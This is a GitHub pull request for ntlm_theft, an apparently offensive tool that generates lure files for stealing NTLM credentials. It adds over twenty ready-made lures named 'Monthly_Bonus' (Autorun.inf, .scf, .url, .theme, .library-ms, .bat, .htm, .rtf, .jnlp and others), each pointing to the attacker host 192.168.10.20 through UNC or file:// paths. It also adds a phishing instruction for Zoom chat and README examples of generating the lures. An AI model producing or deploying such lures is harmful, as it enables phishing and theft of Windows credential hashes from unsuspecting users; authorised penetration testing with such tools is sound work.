Skip to content

added .bat feature #14

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
alienkeric wants to merge 4 commits into
base: master
Choose a base branch
from
Open

added .bat feature #14

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
f745f5e
.bat added
Nov 20, 2025
4ca462b
.bat added
Nov 20, 2025
5f7433b
updated
Dec 11, 2025
5c02fad
updated READMe requirement.txt and fixed autoremove content.xml
Jan 20, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions Monthly_Bonus/Autorun.inf
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
[autorun]
open=\\192.168.10.20\setup.exe
icon=something.ico
action=open Setup.exe
Binary file added Monthly_Bonus/Monthly_Bonus-(externalcell).xlsx
View file
Open in desktop
Binary file not shown.
Binary file added Monthly_Bonus/Monthly_Bonus-(frameset).docx
View file
Open in desktop
Binary file not shown.
916 changes: 916 additions & 0 deletions Monthly_Bonus/Monthly_Bonus-(fulldocx).xml
View file
Open in desktop

Large diffs are not rendered by default.

6 changes: 6 additions & 0 deletions Monthly_Bonus/Monthly_Bonus-(handler).htm
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\192.168.10.20\leak\leak.docx';
</script>
</html>
5 changes: 5 additions & 0 deletions Monthly_Bonus/Monthly_Bonus-(icon).url
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.10.20\%USERNAME%.icon
IconIndex=1
Binary file added Monthly_Bonus/Monthly_Bonus-(includepicture).docx
View file
Open in desktop
Binary file not shown.
Binary file added Monthly_Bonus/Monthly_Bonus-(remotetemplate).docx
View file
Open in desktop
Binary file not shown.
3 changes: 3 additions & 0 deletions Monthly_Bonus/Monthly_Bonus-(stylesheet).xml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\192.168.10.20\bad.xsl" ?>
2 changes: 2 additions & 0 deletions Monthly_Bonus/Monthly_Bonus-(url).url
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[InternetShortcut]
URL=file://192.168.10.20/leak/leak.html
18 changes: 18 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.application
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <assemblyIdentity name="Leak.app" version="1.0.0.0" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="x86" xmlns="urn:schemas-microsoft-com:asm.v1" />
   <description asmv2:publisher="Leak" asmv2:product="Leak" asmv2:supportUrl="" xmlns="urn:schemas-microsoft-com:asm.v1" />
   <deployment install="false" mapFileExtensions="true" trustURLParameters="true" />
   <dependency>
      <dependentAssembly dependencyType="install" codebase="file://192.168.10.20/leak/Leak.exe.manifest" size="32909">
         <assemblyIdentity name="Leak.exe" version="1.0.0.0" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="x86" type="win32" />
         <hash>
            <dsig:Transforms>
               <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
            </dsig:Transforms>
            <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
            <dsig:DigestValue>ESZ11736AFIJnp6lKpFYCgjw4dU=</dsig:DigestValue>
         </hash>
      </dependentAssembly>
   </dependency>
</asmv1:assembly>
7 changes: 7 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.asx
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://192.168.10.20/leak/leak.wma"/>
</entry>
</asx>
2 changes: 2 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.bat
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
@echo off
start "" "\\192.168.10.20\share"
4 changes: 4 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.htm
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<!DOCTYPE html>
<html>
<img src="file://192.168.10.20/leak/leak.png"/>
</html>
7 changes: 7 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.jnlp
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="" href="">
<resources>
<jar href="file://192.168.10.20/leak/leak.jar"/>
</resources>
<application-desc/>
</jnlp>
29 changes: 29 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.library-ms
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@shell32.dll,-34575</name>
<ownerSID>S-1-5-21-372074477-2495183225-776587326-1000</ownerSID>
<version>1</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>\\192.168.10.20\aa</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription publisher="Microsoft" product="Windows">
<description>@shell32.dll,-34577</description>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<simpleLocation>
<url>knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}</url>
<serialized>MBAAAEAFCAAA...MFNVAAAAAA</serialized>
</simpleLocation>
</searchConnectorDescription>
<searchConnectorDescription publisher="Microsoft" product="Windows">
<description>@shell32.dll,-34579</description>
<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>
<simpleLocation>
<url>knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}</url>
<serialized>MBAAAEAFCAAA...HJIfK9AAAAAA</serialized>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Binary file added Monthly_Bonus/Monthly_Bonus.lnk
View file
Open in desktop
Binary file not shown.
3 changes: 3 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.m3u
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#EXTM3U
#EXTINF:1337, Leak
\\192.168.10.20\leak.mp3
Binary file added Monthly_Bonus/Monthly_Bonus.odt
View file
Open in desktop
Binary file not shown.
Binary file added Monthly_Bonus/Monthly_Bonus.pdf
View file
Open in desktop
Binary file not shown.
1 change: 1 addition & 0 deletions Monthly_Bonus/Monthly_Bonus.rtf
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.20/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
5 changes: 5 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.scf
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
[Shell]
Command=2
IconFile=\\192.168.10.20\tools\nc.ico
[Taskbar]
Command=ToggleDesktop
66 changes: 66 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.theme
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
[Theme]
; Windows - IDS_THEME_DISPLAYNAME_AERO_LIGHT
DisplayName=\192.168.10.20 Theme
SetLogonBackground=0
; Computer - SHIDI_SERVER
[CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon]
DefaultValue=\\192.168.10.20\setup.exe,-109

; UsersFiles - SHIDI_USERFILES
[CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\DefaultIcon]
DefaultValue=\\192.168.10.20\setup.exe,-123

; Network - SHIDI_MYNETWORK
[CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\DefaultIcon]
DefaultValue=\\192.168.10.20\setup.exe,-25

; Recycle Bin - SHIDI_RECYCLERFULL SHIDI_RECYCLER
[CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon]
Full=\\192.168.10.20\setup.exe,-54
Empty=\\192.168.10.20\setup.exe,-55

[Control Panel\Cursors]
AppStarting=\\192.168.10.20\setup.exe
Arrow=\\192.168.10.20\aero_arrow.cur
Crosshair=
Hand=\\192.168.10.20\aero_link.cur
Help=\\192.168.10.20\aero_helpsel.cur
IBeam=
No=\\192.168.10.20\aero_unavail.cur
NWPen=\\192.168.10.20\aero_pen.cur
SizeAll=\\192.168.10.20\aero_move.cur
SizeNESW=\\192.168.10.20\aero_nesw.cur
SizeNS=\\192.168.10.20\aero_ns.cur
SizeNWSE=\\192.168.10.20\aero_nwse.cur
SizeWE=\\192.168.10.20\aero_ew.cur
UpArrow=\\192.168.10.20\aero_up.cur
Wait=\\192.168.10.20\aero_busy.ani
DefaultValue=Windows Default
DefaultValue.MUI=@main.cpl,-1020

[Control Panel\Desktop]
Wallpaper=\\192.168.10.20\setup.exe
TileWallpaper=0
WallpaperStyle=10
Pattern=
MultimonBackgrounds=0

[VisualStyles]
Path=\\192.168.10.20\Themes\Aero\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
AutoColorization=0
ColorizationColor=0XC40078D4
SystemMode=Light
AppMode=Light

[boot]
SCRNSAVE.EXE=

[MasterThemeSelector]
MTSM=RJSPBS

[Sounds]
; IDS_SCHEME_DEFAULT
SchemeName=@\\192.168.10.20\setup.dll,-800

2 changes: 2 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.wax
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
https://192.168.10.20/test
file://\\192.168.10.20/steal/file
12 changes: 12 additions & 0 deletions Monthly_Bonus/Monthly_Bonus.website
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
Prop4=31,go.microsoft.com
[InternetShortcut]
URL=file:///192.168.10.20/
[{A7AF692E-098D-4C08-A225-D433CA835ED0}]
Prop5=3,0
Prop9=19,0
Prop2=65,2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF310000002B000000710600006204000056
Prop6=3,1
[{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}]
Prop5=8,Microsoft.Website.B4BD2547.99055A5E
2 changes: 2 additions & 0 deletions Monthly_Bonus/desktop.ini
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[.ShellClassInfo]
IconResource=\\192.168.10.20\aa
3 changes: 3 additions & 0 deletions Monthly_Bonus/zoom-attack-instructions.txt
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
To attack zoom, just put the following link along with your phishing message in the chat window:

\\192.168.10.20\xyz
98 changes: 59 additions & 39 deletions README.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ ntlm_theft supports the following attack types:
* .scf – via ICONFILE field (Not Working on Latest Windows)
* autorun.inf via OPEN field (Not Working on Latest Windows)
* desktop.ini - via IconResource field (Not Working on Latest Windows)
* .bat – delivered via the URL field or execute via cmd.exe.
* Open Document
* .xml – via Microsoft Word external stylesheet
* .xml – via Microsoft Word includepicture field
Expand All @@ -28,10 +29,12 @@ ntlm_theft supports the following attack types:
* .m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
* .jnlp – via Java external jar
* .application – via any Browser (Must be served via a browser downloaded or won’t run)
* .odt – via LibreOffice / OpenOffice
* Open Document and Accept Popup
* .pdf – via Adobe Acrobat Reader
* Click Link in Chat Program
* .txt – formatted link to paste into Zoom chat



## Usecases (Why you want to run this)
Expand All @@ -49,7 +52,7 @@ These instructions will show you the requirements for and how to use ntlm_theft.
ntlm_theft requires Python3 and xlsxwriter:

```
pip3 install xlsxwriter
pip3 install -r requirements.txt
```

### Required Parameters
Expand All @@ -67,23 +70,34 @@ To start up the tool 4 parameters must be provided, an input format, the input f
Here is an example of what a run looks like generating all files:

```
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
# python3 ntlm_theft.py --generate all --server 192.168.10.20 --filename alienkeric
Created: alienkeric/alienkeric.scf (BROWSE TO FOLDER)
Created: alienkeric/alienkeric-(url).url (BROWSE TO FOLDER)
Created: alienkeric/alienkeric-(icon).url (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.lnk (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.rtf (OPEN)
Created: alienkeric/alienkeric-(stylesheet).xml (OPEN)
Created: alienkeric/alienkeric-(fulldocx).xml (OPEN)
Created: alienkeric/alienkeric.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: alienkeric/alienkeric-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: alienkeric/alienkeric-(includepicture).docx (OPEN)
Created: alienkeric/alienkeric-(remotetemplate).docx (OPEN)
Created: alienkeric/alienkeric-(frameset).docx (OPEN)
Created: alienkeric/alienkeric-(externalcell).xlsx (OPEN)
Created: alienkeric/alienkeric.wax (OPEN)
Created: alienkeric/alienkeric.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: alienkeric/alienkeric.asx (OPEN)
Created: alienkeric/alienkeric.jnlp (OPEN)
Created: alienkeric/alienkeric.application (DOWNLOAD AND OPEN)
Created: alienkeric/alienkeric.pdf (OPEN AND ALLOW)
Created: alienkeric/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: alienkeric/alienkeric.library-ms (BROWSE TO FOLDER)
Created: alienkeric/Autorun.inf (BROWSE TO FOLDER)
Created: alienkeric/desktop.ini (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.theme (THEME TO INSTALL
Created: alienkeric/alienkeric.bat (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.website (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.odt (Open in LibreOffice / OpenOffice)
Generation Complete.
```

Expand All @@ -93,39 +107,45 @@ Generation Complete.
Here is an example of what a run looks like generating only modern files:

```
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
# python3 ntlm_theft.py --generate modern --server 192.168.10.20 --filename alienkeric
Created: alienkeric/alienkeric-(url).url (BROWSE TO FOLDER)
Created: alienkeric/alienkeric-(icon).url (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.lnk (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.rtf (OPEN)
Created: alienkeric/alienkeric-(stylesheet).xml (OPEN)
Created: alienkeric/alienkeric-(fulldocx).xml (OPEN)
Created: alienkeric/alienkeric.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: alienkeric/alienkeric-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: alienkeric/alienkeric-(includepicture).docx (OPEN)
Created: alienkeric/alienkeric-(remotetemplate).docx (OPEN)
Created: alienkeric/alienkeric-(frameset).docx (OPEN)
Created: alienkeric/alienkeric-(externalcell).xlsx (OPEN)
Created: alienkeric/alienkeric.wax (OPEN)
Created: alienkeric/alienkeric.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: alienkeric/alienkeric.asx (OPEN)
Created: alienkeric/alienkeric.jnlp (OPEN)
Created: alienkeric/alienkeric.application (DOWNLOAD AND OPEN)
Created: alienkeric/alienkeric.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Created: alienkeric/alienkeric.library-ms (BROWSE TO FOLDER)
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Created: alienkeric/alienkeric.theme (THEME TO INSTALL
Created: alienkeric/alienkeric.bat (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.website (BROWSE TO FOLDER)
Created: alienkeric/alienkeric.odt (Open in LibreOffice / OpenOffice)
Generation Complete.
```

Here is an example of what a run looks like generating only a xlsx file:
Here is an example of what a run looks like generating only a odt file:

```
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
# python3 ntlm_theft.py --generate odt --server 192.168.10.20 --filename alienkeric
Created: alienkeric/alienkeric.odt (Open in LibreOffice / OpenOffice)
Generation Complete.
```

## Authors

* **Jacob Wilkin** - *Research and Development*

## License
Expand Down
4 changes: 4 additions & 0 deletions alienkeric/Autorun.inf
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
[autorun]
open=\\192.168.10.20\setup.exe
icon=something.ico
action=open Setup.exe
Binary file added alienkeric/alienkeric-(externalcell).xlsx
View file
Open in desktop
Binary file not shown.
Binary file added alienkeric/alienkeric-(frameset).docx
View file
Open in desktop
Binary file not shown.
Loading